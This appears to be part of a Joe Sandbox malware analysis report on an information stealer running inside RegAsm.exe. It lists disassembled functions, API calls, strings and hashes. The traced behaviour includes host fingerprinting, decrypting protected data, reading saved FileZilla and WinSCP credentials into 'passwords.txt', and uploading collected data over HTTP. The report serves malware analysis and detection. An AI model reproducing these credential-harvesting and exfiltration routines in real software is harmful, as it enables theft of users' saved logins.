GetTimeZoneInformation.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,00426654,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040FCB9
wsprintfA.USER32 ref: 0040FCD7

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 0604e6eb6e2682e20b2124677ba798e9b04fc5edbfebe48aceeb8ffeb4b62a16
Instruction ID: c4178db3a7b5cadc3d34117ce99b3585a5539fb9734740f51f0b0a417066b3ea
Opcode Fuzzy Hash: 0604e6eb6e2682e20b2124677ba798e9b04fc5edbfebe48aceeb8ffeb4b62a16
Instruction Fuzzy Hash: 00E09275700234BBEB1067A8AC0EF87366EAB06725F111262FA15D21D0E6B499048AE5

Function 004062A5 Relevance: 4.5, APIs: 3, Instructions: 46memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004062C8
LocalAlloc.KERNEL32(00000040,?,?), ref: 004062E0
LocalFree.KERNEL32(?), ref: 004062FE

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: a1298b6901399f3ed61b1a780a28c5a3d32356ff32a82b06ef3c757afecfb89f
Instruction ID: e950b9794f619c2f14945d92c2c82b9cfbc0e84929ee7baf067997c9d55b3a17
Opcode Fuzzy Hash: a1298b6901399f3ed61b1a780a28c5a3d32356ff32a82b06ef3c757afecfb89f
Instruction Fuzzy Hash: 38011D7A900218AFDB01EFE8DC849DEBBBDFF48700B10046AFA42E7250D6759950CB50

Function 0040FBCB Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00417274,004265C7), ref: 0040FBD7
HeapAlloc.KERNEL32(00000000,?,?,?,00417274,004265C7), ref: 0040FBDE
GetUserNameA.ADVAPI32(00000000,?), ref: 0040FBF2

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 669fae420ee6eb1cdbbca0cf155bea1fe1a262ab4713cf9ebff3bc65d35779fa
Instruction ID: 717baa134c2685402ab052e767e48c87ea90d479ce835390d18d57d128390497
Opcode Fuzzy Hash: 669fae420ee6eb1cdbbca0cf155bea1fe1a262ab4713cf9ebff3bc65d35779fa
Instruction Fuzzy Hash: 90D05EB6700204FBE7109BA5DE0DE9BBBBCEB84755F400166FB02D2290DAF09A05CA34

Function 0040FE81 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 0040FE8E
wsprintfA.USER32 ref: 0040FEA3

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: cbe062100e03a9cd5bd2a5b056dc4366336c04a80b9081003c6696508956f941
Instruction ID: cc392225a4cdd4d81fb3b645c3f3a3bcf8ea132c99b34c9dcf4625544169bb0c
Opcode Fuzzy Hash: cbe062100e03a9cd5bd2a5b056dc4366336c04a80b9081003c6696508956f941
Instruction Fuzzy Hash: D8D05B75D0011DD7CF10EB90FC49A8977BCAB04308F4001A1D700F2050E375D61D8BD5

Function 004043AD Relevance: 74.3, APIs: 26, Strings: 16, Instructions: 764
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004043B2

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

lstrlenA.KERNEL32(00000000), ref: 00404421

Part of subcall function 00410DAC: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 00410DD0
Part of subcall function 00410DAC: GetProcessHeap.KERNEL32(00000000,?,?,00404415,?,?,?,?,?,?), ref: 00410DDD
Part of subcall function 00410DAC: HeapAlloc.KERNEL32(00000000,?,00404415,?,?,?,?,?,?), ref: 00410DE4

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

StrCmpCA.SHLWAPI(?,004259DF,004259DB,004259D3,004259CF,004259CE), ref: 004044A4
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004044C4
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004045E9
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 00404623
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404647

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,file_data,00000000,?,00000000,?,00425A98,00000000,?,?,00000000), ref: 00404B42
lstrlenA.KERNEL32(00000000), ref: 00404B54
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00404B66
HeapAlloc.KERNEL32(00000000), ref: 00404B6D
lstrlenA.KERNEL32(00000000), ref: 00404B7F
memcpy.MSVCRT ref: 00404B92
lstrlenA.KERNEL32(00000000,?,?), ref: 00404BA9
memcpy.MSVCRT ref: 00404BB3
lstrlenA.KERNEL32(00000000), ref: 00404BC4
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404BDD
memcpy.MSVCRT ref: 00404BEA
lstrlenA.KERNEL32(00000000,?,00000000), ref: 00404BFF
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404C10
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00404C37
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404CB9
StrCmpCA.SHLWAPI(00000000,block), ref: 00404CD1
ExitProcess.KERNEL32 ref: 00404CDC
InternetCloseHandle.WININET(?), ref: 00404CEC

Strings

", xrefs: 00404720
build_id, xrefs: 00404845
/, xrefs: 00404C97
", xrefs: 00404B0F
block, xrefs: 00404CC3
------, xrefs: 004048EE
", xrefs: 004049C1
------, xrefs: 00404A3D
------, xrefs: 0040451D
------, xrefs: 0040464D
file_data, xrefs: 00404AE5
ERROR, xrefs: 00404C44
", xrefs: 0040486F
------, xrefs: 0040479D
--, xrefs: 00404544
ERROR, xrefs: 00404DBB

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$H_prologHeap$HttpProcessmemcpy$AllocOpenRequestlstrcat$BinaryCloseConnectCrackCryptExitFileHandleInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$/$ERROR$ERROR$block$build_id$file_data
API String ID: 2658035217-3274521816
Opcode ID: c00282e5cd75c8dd74f6355570a176c63ce9ed19f1804046c84903359e236d60
Instruction ID: 7da96a8239c4269f2075af8d64b6677d5cc6d7227197695578cb8bd043abdbf5
Opcode Fuzzy Hash: c00282e5cd75c8dd74f6355570a176c63ce9ed19f1804046c84903359e236d60
Instruction Fuzzy Hash: 2E624EB190014DEADB11EBE0C956BEEBBB8AF18308F50417AE505735C2DB786B4CCB65

Function 0040BBE8 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 370
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040BBED

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,00425C93,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

strtok_s.MSVCRT ref: 0040BCCB
GetProcessHeap.KERNEL32(00000000,000F423F,00425C9B,00425C9A,00425C97,00425C96), ref: 0040BD1F
HeapAlloc.KERNEL32(00000000), ref: 0040BD26
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040BD3A
lstrlenA.KERNEL32(00000000), ref: 0040BD45
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040BD7D
lstrlenA.KERNEL32(00000000), ref: 0040BD88
StrStrA.SHLWAPI(00000000,<User>), ref: 0040BDC6
lstrlenA.KERNEL32(00000000), ref: 0040BDD1
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040BE0F
lstrlenA.KERNEL32(00000000), ref: 0040BE1E
lstrlenA.KERNEL32(?), ref: 0040C019

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

memset.MSVCRT ref: 0040C06C

Strings

Soft: FileZilla, xrefs: 0040BF01
Login: , xrefs: 0040BF5D
Password: , xrefs: 0040BF8B
<Pass encoding="base64">, xrefs: 0040BE09
passwords.txt, xrefs: 0040C02B
<Port>, xrefs: 0040BD77
Host: , xrefs: 0040BF0F
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040BC5A
<Host>, xrefs: 0040BD34
<User>, xrefs: 0040BDC0

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitmemsetstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 486015307-935134978
Opcode ID: c68a0f27bc902ea05c839ad39b5d4922081ace22d6ea3294da39bef75c792f8c
Instruction ID: 255c4b719d3f0515adc493bcbacf9bf61407d1e7a5812a7bdcdf9b10872d254a
Opcode Fuzzy Hash: c68a0f27bc902ea05c839ad39b5d4922081ace22d6ea3294da39bef75c792f8c
Instruction Fuzzy Hash: DEE18F71900258EADB11EBE1DC56FEEBB78AF19304F50007AF505B21D2EF781A08CB69

Function 0040E7B8 Relevance: 63.4, APIs: 22, Strings: 14, Instructions: 411
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040E7BD
memset.MSVCRT ref: 0040E7E6
memset.MSVCRT ref: 0040E806
memset.MSVCRT ref: 0040E81A
memset.MSVCRT ref: 0040E82E
memset.MSVCRT ref: 0040E83D
memset.MSVCRT ref: 0040E84B
memset.MSVCRT ref: 0040E85C
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 0040E884
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E8AC
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?), ref: 0040E8F3
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E910
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,00000000,?,Host: ,00000000,?,Soft: WinSCP,00425C8F), ref: 0040E9A2
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,00000000,?,?), ref: 0040E9F4

Strings

PortNumber, xrefs: 0040E9DE
Host: , xrefs: 0040E955
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E8E9
UseMasterPassword, xrefs: 0040E89F
Soft: WinSCP, xrefs: 0040E92B
Login: , xrefs: 0040EA73
Password, xrefs: 0040EB32
UserName, xrefs: 0040EAB1
passwords.txt, xrefs: 0040EC88
HostName, xrefs: 0040E993
Password: , xrefs: 0040EB43
Security, xrefs: 0040E8A4
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E871
:22, xrefs: 0040EA43

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: memset$Value$Open$EnumH_prolog
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 784052110-2798830873
Opcode ID: 86d90c555041147e3355f381ce4fc8bf561c3cd64d0a3905eecc7d65a5013481
Instruction ID: 89295896da61250e7cefd1c96a7d7708b6de7757bceb80d1fe37bfb71a37c9ed
Opcode Fuzzy Hash: 86d90c555041147e3355f381ce4fc8bf561c3cd64d0a3905eecc7d65a5013481
Instruction Fuzzy Hash: BCF11CB1D0015DAEDB11EBE1CC41FEEBB7CAF18304F5441BBE515B2182DA785A48CB65

Function 00414604 Relevance: 51.8, APIs: 3, Strings: 26, Instructions: 1004
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00414609

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FC38: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,Version: ,0042654E), ref: 0040FC46
Part of subcall function 0040FC38: HeapAlloc.KERNEL32(00000000,?,00000000,?,Version: ,0042654E), ref: 0040FC4D
Part of subcall function 0040FC38: GetLocalTime.KERNEL32(00000000,?,00000000,?,Version: ,0042654E), ref: 0040FC59
Part of subcall function 0040FC38: wsprintfA.USER32 ref: 0040FC84

Part of subcall function 00410415: memset.MSVCRT ref: 0041043B
Part of subcall function 00410415: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,NeB,?,?,00000000), ref: 00410457
Part of subcall function 00410415: RegQueryValueExA.KERNEL32(NeB,MachineGuid,00000000,00000000,?,000000FF,?,?,00000000), ref: 00410476
Part of subcall function 00410415: CharToOemA.USER32(?,?), ref: 00410493

Part of subcall function 004104A2: GetCurrentHwProfileA.ADVAPI32(?), ref: 004104B3

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 004104DD: _EH_prolog.MSVCRT ref: 004104E2
Part of subcall function 004104DD: GetWindowsDirectoryA.KERNEL32(?,00000104,00000001,?,00000000), ref: 00410505
Part of subcall function 004104DD: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00410537
Part of subcall function 004104DD: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0041057A
Part of subcall function 004104DD: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410581

GetCurrentProcessId.KERNEL32(00000000,?,Path: ,00000000,?,00426600,00000000,?,00000000,00000000,?,HWID: ,00000000,?,004265F4,00000000), ref: 00414922

Part of subcall function 00411001: OpenProcess.KERNEL32(00000410,00000000,2IA), ref: 00411019
Part of subcall function 00411001: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00411034
Part of subcall function 00411001: CloseHandle.KERNEL32(00000000), ref: 0041103B

Part of subcall function 0041064B: GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,00426624,00000000,?,Work Dir: In memory), ref: 0041065F
Part of subcall function 0041064B: HeapAlloc.KERNEL32(00000000,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,00426624,00000000,?,Work Dir: In memory,00000000,?), ref: 00410666

Part of subcall function 0041077C: _EH_prolog.MSVCRT ref: 00410781
Part of subcall function 0041077C: CoInitializeEx.OLE32(00000000,00000000,00000001,?,00000000,?,?,?,?,?,?,00426624,00000000,?,Work Dir: In memory,00000000), ref: 00410799
Part of subcall function 0041077C: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000), ref: 004107AA
Part of subcall function 0041077C: CoCreateInstance.OLE32(00426FAC,00000000,00000001,00426EDC,?,?,00000000,?,?,?,?,?,?,00426624,00000000,?), ref: 004107C4
Part of subcall function 0041077C: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000), ref: 004107FA
Part of subcall function 0041077C: VariantInit.OLEAUT32(?), ref: 00410855

Part of subcall function 00410925: _EH_prolog.MSVCRT ref: 0041092A
Part of subcall function 00410925: CoInitializeEx.OLE32(00000000,00000000,00000001,?,00000000,00426624,00000000,?,Work Dir: In memory,00000000,?,0042660C,00000000,?,00000000), ref: 00410942
Part of subcall function 00410925: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000000,00426624,00000000,?,Work Dir: In memory,00000000), ref: 00410953
Part of subcall function 00410925: CoCreateInstance.OLE32(00426FAC,00000000,00000001,00426EDC,?,?,00000000,00426624,00000000,?,Work Dir: In memory,00000000,?,0042660C,00000000,?), ref: 0041096D
Part of subcall function 00410925: CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000000,00426624,00000000,?,Work Dir: In memory,00000000,?), ref: 004109A3
Part of subcall function 00410925: VariantInit.OLEAUT32(?), ref: 004109F6

Part of subcall function 0040FBFD: GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,00414BBE,00000000,?,Computer Name: ,00000000,?,00426654,00000000,?,00000000,00000000), ref: 0040FC09
Part of subcall function 0040FBFD: HeapAlloc.KERNEL32(00000000,?,?,00414BBE,00000000,?,Computer Name: ,00000000,?,00426654,00000000,?,00000000,00000000,?,AV: ), ref: 0040FC10
Part of subcall function 0040FBFD: GetComputerNameA.KERNEL32(00000000,00000000), ref: 0040FC24

Part of subcall function 0040FBCB: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00417274,004265C7), ref: 0040FBD7
Part of subcall function 0040FBCB: HeapAlloc.KERNEL32(00000000,?,?,?,00417274,004265C7), ref: 0040FBDE
Part of subcall function 0040FBCB: GetUserNameA.ADVAPI32(00000000,?), ref: 0040FBF2

